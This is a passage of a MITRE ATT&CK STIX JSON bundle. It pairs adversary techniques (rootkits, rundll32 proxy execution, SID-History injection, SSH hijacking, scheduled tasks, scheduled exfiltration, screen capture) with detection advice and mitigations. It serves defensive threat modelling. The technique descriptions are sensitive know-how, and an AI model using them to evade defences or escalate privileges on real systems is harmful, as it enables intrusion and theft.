            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--95ddb356-7ba0-4bd9-a889-247262b8946f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Rootkit Mitigation",
            "description": "Identify potentially malicious software that may contain rootkit functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1014",
                    "external_id": "T1014"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:26.496Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Rootkit",
            "description": "Rootkits are programs that hide the existence of malware by intercepting (i.e., Hooking) and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a Hypervisor, Master Boot Record, or the System Firmware. (Citation: Wikipedia Rootkit)\n\nAdversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)\n\nDetection: Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia Rootkit)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: BIOS, MBR, System calls\n\nDefense Bypassed: Anti-virus, File monitoring, Host intrusion prevention systems, Process whitelisting, Signature-based detection, System access controls, Whitelisting by file name or path\n\nPermissions Required: Administrator, SYSTEM, root",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1014",
                    "external_id": "T1014"
                },
                {
                    "source_name": "Wikipedia Rootkit",
                    "description": "Wikipedia. (2016, June 1). Rootkit. Retrieved June 2, 2016.",
                    "url": "https://en.wikipedia.org/wiki/Rootkit"
                },
                {
                    "source_name": "Symantec Windows Rootkits",
                    "description": "Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017.",
                    "url": "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf"
                },
                {
                    "source_name": "CrowdStrike Linux Rootkit",
                    "description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.",
                    "url": "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/"
                },
                {
                    "source_name": "BlackHat Mac OSX Rootkit",
                    "description": "Pan, M., Tsai, S. (2014). You can\u2019t see me: A Mac OS X Rootkit uses the tricks you haven't known yet. Retrieved December 21, 2017.",
                    "url": "http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "BIOS",
                "MBR",
                "System calls"
            ],
            "x_mitre_defense_bypassed": [
                "Anti-virus",
                "File monitoring",
                "Host intrusion prevention systems",
                "Process whitelisting",
                "Signature-based detection",
                "System access controls",
                "Whitelisting by file name or path"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM",
                "root"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--8c918d8a-11c5-4ffd-af10-e74bc06bdfae",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Rundll32 Mitigation",
            "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass whitelisting. (Citation: Secure Host Baseline EMET)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1085",
                    "external_id": "T1085"
                },
                {
                    "source_name": "Secure Host Baseline EMET",
                    "description": "National Security Agency. (2016, May 4). Secure Host Baseline EMET. Retrieved June 22, 2016.",
                    "url": "https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:06.045Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Rundll32",
            "description": "The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.\n\nRundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nDetection: Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring\n\nDefense Bypassed: Anti-virus, Application whitelisting\n\nPermissions Required: User\n\nRemote Support: No\n\nContributors: Ricardo Dias",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1085",
                    "external_id": "T1085"
                },
                {
                    "source_name": "Trend Micro CPL",
                    "description": "Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.",
                    "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "File monitoring",
                "Binary file metadata",
                "Process command-line parameters",
                "Process monitoring"
            ],
            "x_mitre_contributors": [
                "Ricardo Dias"
            ],
            "x_mitre_defense_bypassed": [
                "Anti-virus",
                "Application whitelisting"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_remote_support": false,
            "x_mitre_platforms": [
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--b91c2f9e-c1a0-44df-95f0-9e7c9d1d5e55",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "SID-History Injection Mitigation",
            "description": "Clean up SID-History attributes after legitimate account migration is complete.\n\nApply SID Filtering to domain trusts to exclude SID-History from requests to access domain resources (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /quarantine:yes</code> (Citation: Microsoft Netdom Trust Sept 2012) on the domain controller). Domain SID Filtering is disabled by default.\n\nApply SID Filtering to forest trusts to exclude SID-History from request to access forest resources (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /EnableSIDHistory:no</code> (Citation: Microsoft Netdom Trust Sept 2012) on the domain controller). Forest SID Filtering is active by default, but may block child domains from transitively accessesing the forest trust.\n\nEnsure SID Filter Quarantining is enabled on trusted external domains (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /quarantine</code> (Citation: Microsoft Netdom Trust Sept 2012) on the domain controller) to ensure authentication requests only include SIDs from that domain. SID Filter Quarantining is automatically enabled on all created external trusts using Server 2003 or later domain controllers. (Citation: Microsoft Trust Considerations Nov 2014) (Citation: Microsoft SID) Filtering Quarantining Jan 2009",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1178",
                    "external_id": "T1178"
                },
                {
                    "source_name": "Microsoft SID",
                    "description": "Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx"
                },
                {
                    "source_name": "Microsoft Netdom Trust Sept 2012",
                    "description": "Microsoft. (2012, September 11). Command-Line Reference - Netdom Trust. Retrieved November 30, 2017.",
                    "url": "https://technet.microsoft.com/library/cc835085.aspx"
                },
                {
                    "source_name": "Microsoft Trust Considerations Nov 2014",
                    "description": "Microsoft. (2014, November 19). Security Considerations for Trusts. Retrieved November 30, 2017.",
                    "url": "https://technet.microsoft.com/library/cc755321.aspx"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--1df0326d-2fbc-4d08-a16b-48365f1e742d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-16T16:13:52.465Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "SID-History Injection",
            "description": "The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID)-History Attribute, allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nAdversaries may use this mechanism for privilege escalation. With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as Remote Services, Windows Admin Shares, or Windows Remote Management.\n\nDetection: Examine data in user\u2019s SID-History attributes using the PowerShell Get-ADUser Cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015)\n\nMonitor Account Management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015)  (Citation: Microsoft DsAddSidHistory)\n\nMonitor Windows API calls to the <code>DsAddSidHistory</code> function. (Citation: Microsoft DsAddSidHistory)\n\nPlatforms: Windows\n\nData Sources: API monitoring, Authentication logs, Windows event logs\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Vincent Le Toux",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1178",
                    "external_id": "T1178"
                },
                {
                    "source_name": "Microsoft SID",
                    "description": "Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx"
                },
                {
                    "source_name": "Microsoft Well Known SIDs Jun 2017",
                    "description": "Microsoft. (2017, June 23). Well-known security identifiers in Windows operating systems. Retrieved November 30, 2017.",
                    "url": "https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems"
                },
                {
                    "source_name": "Microsoft Get-ADUser",
                    "description": "Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved November 30, 2017.",
                    "url": "https://technet.microsoft.com/library/ee617241.aspx"
                },
                {
                    "source_name": "AdSecurity SID History Sept 2015",
                    "description": "Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence #14: SID History. Retrieved November 30, 2017.",
                    "url": "https://adsecurity.org/?p=1772"
                },
                {
                    "source_name": "Microsoft DsAddSidHistory",
                    "description": "Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November 30, 2017.",
                    "url": "https://msdn.microsoft.com/library/ms677982.aspx"
                }
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "x_mitre_contributors": [
                "Vincent Le Toux"
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            "x_mitre_data_sources": [
                "API monitoring",
                "Authentication logs",
                "Windows event logs"
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            "x_mitre_permissions_required": [
                "Administrator",
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            "x_mitre_platforms": [
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            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--41cff8e9-fd05-408e-b3d5-d98c54c20bcf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "SSH Hijacking Mitigation",
            "description": "Ensure SSH key pairs have strong passwords and refrain from using key-store technologies such as ssh-agent unless they are properly protected. Ensure that all private keys are stored securely in locations where only the legitimate owner has access to with strong passwords and are rotated frequently. Ensure proper file permissions are set and harden system to prevent root privilege escalation opportunities. Do not allow remote access via SSH as root or other privileged accounts. Ensure that agent forwarding is disabled on systems that do not explicitly require this feature to prevent misuse. (Citation: Symantec SSH and ssh-agent)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1184",
                    "external_id": "T1184"
                },
                {
                    "source_name": "Symantec SSH and ssh-agent",
                    "description": "Hatch, B. (2004, November 22). SSH and ssh-agent. Retrieved January 8, 2018.",
                    "url": "https://www.symantec.com/connect/articles/ssh-and-ssh-agent"
                }
            ],
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            "id": "attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb",
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            "name": "SSH Hijacking",
            "description": "Secure Shell (SSH) is a standard means of remote access on Linux and Mac systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. (Citation: Slideshare Abusing SSH) (Citation: SSHjack Blackhat) (Citation: Clockwork SSH Agent Hijacking) Compromising the SSH agent also provides access to intercept SSH credentials. (Citation: Welivesecurity Ebury SSH)\n\nSSH Hijacking differs from use of Remote Services because it injects into an existing SSH session rather than creating a new session using Valid Accounts.\n\nDetection: Use of SSH may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users.\n\nPlatforms: Linux, macOS\n\nData Sources: Authentication logs\n\nPermissions Required: User, root\n\nSystem Requirements: SSH service enabled, trust relationships configured, established connections\n\nContributors: Anastasios Pingios",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1184",
                    "external_id": "T1184"
                },
                {
                    "source_name": "Slideshare Abusing SSH",
                    "description": "Duarte, H., Morrison, B. (2012). (Mis)trusting and (ab)using ssh. Retrieved January 8, 2018.",
                    "url": "https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219"
                },
                {
                    "source_name": "SSHjack Blackhat",
                    "description": "Adam Boileau. (2005, August 5). Trust Transience:  Post Intrusion SSH Hijacking. Retrieved December 19, 2017.",
                    "url": "https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf"
                },
                {
                    "source_name": "Clockwork SSH Agent Hijacking",
                    "description": "Beuchler, B. (2012, September 28). SSH Agent Hijacking. Retrieved December 20, 2017.",
                    "url": "https://www.clockwork.com/news/2012/09/28/602/ssh%20agent%20hijacking"
                },
                {
                    "source_name": "Welivesecurity Ebury SSH",
                    "description": "M.L\u00e9veill\u00e9, M. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved January 8, 2018.",
                    "url": "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/"
                }
            ],
            "object_marking_refs": [
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            "x_mitre_data_sources": [
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            "type": "course-of-action",
            "id": "course-of-action--f2cb6ce2-188d-4162-8feb-594f949b13dd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Scheduled Task Mitigation",
            "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges. (Citation: Powersploit)\n\nConfigure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\SubmitControl</code>. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled. (Citation: TechNet Server Operator Scheduled Task)\n\nConfigure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority. (Citation: TechNet Scheduling Priority)\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1053",
                    "external_id": "T1053"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Powersploit",
                    "description": "PowerSploit. (n.d.).  Retrieved December 4, 2014.",
                    "url": "https://github.com/mattifestation/PowerSploit"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                },
                {
                    "source_name": "TechNet Scheduling Priority",
                    "description": "Microsoft. (2013, May 8). Increase scheduling priority. Retrieved December 18, 2017.",
                    "url": "https://technet.microsoft.com/library/dn221960.aspx"
                },
                {
                    "source_name": "TechNet Server Operator Scheduled Task",
                    "description": "Microsoft. (2012, November 15). Domain controller: Allow server operators to schedule tasks. Retrieved December 18, 2017.",
                    "url": "https://technet.microsoft.com/library/jj852168.aspx"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
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            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:46.977Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Scheduled Task",
            "description": "Utilities such as at and schtasks, along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. The account used to create the task must be in the Administrators group on the local system. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. (Citation: TechNet Task Scheduler Security)\n\nAn adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account.\n\nDetection: Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Monitor process execution from the <code>svchost.exe</code> in Windows 10 and the Windows Task Scheduler <code>taskeng.exe</code> for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in <code>%systemroot%\\System32\\Tasks</code> for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)\n\n*Event ID 106 - Scheduled task registered\n*Event ID 140 - Scheduled task updated\n*Event ID 141 - Scheduled task removed\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) Look for changes to tasks that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be taken to create tasks. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring, Windows event logs\n\nEffective Permissions: Administrator, SYSTEM\n\nPermissions Required: Administrator, SYSTEM\n\nRemote Support: Yes\n\nContributors: Travis Smith, Tripwire, Leo Loobeek, @leoloobeek",
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                {
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                    "phase_name": "execution"
                },
                {
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                {
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                    "phase_name": "privilege-escalation"
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1053",
                    "external_id": "T1053"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                },
                {
                    "source_name": "TechNet Forum Scheduled Task Operational Setting",
                    "description": "Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.",
                    "url": "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen"
                },
                {
                    "source_name": "TechNet Scheduled Task Events",
                    "description": "Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017.",
                    "url": "https://technet.microsoft.com/library/dd315590.aspx"
                },
                {
                    "source_name": "TechNet Task Scheduler Security",
                    "description": "Microsoft. (2005, January 21). Task Scheduler and security. Retrieved June 8, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/cc785125.aspx"
                },
                {
                    "source_name": "Twitter Leoloobeek Scheduled Task",
                    "description": "Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017.",
                    "url": "https://twitter.com/leoloobeek/status/939248813465853953"
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            "x_mitre_permissions_required": [
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        {
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            "id": "course-of-action--1c0711c8-2a73-48a1-893d-ff88bcd23824",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Scheduled Transfer Mitigation",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1029",
                    "external_id": "T1029"
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:34.139Z",
            "modified": "2018-01-17T12:56:55.080Z",
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            "description": "Data exfiltration may be performed only at certain times of day or at certain intervals.  This could be done to blend traffic patterns with normal activity or availability.\n\nWhen scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.\n\nDetection: Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes",
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        {
            "type": "course-of-action",
            "id": "course-of-action--51b37302-b844-4c08-ac98-ae6955ed1f55",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Screen Capture Mitigation",
            "description": "Blocking software based on screen capture functionality may be difficult, and there may be legitimate software that performs those actions. Instead, identify potentially malicious software that may have functionality to acquire screen captures, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1113",
                    "external_id": "T1113"
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                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
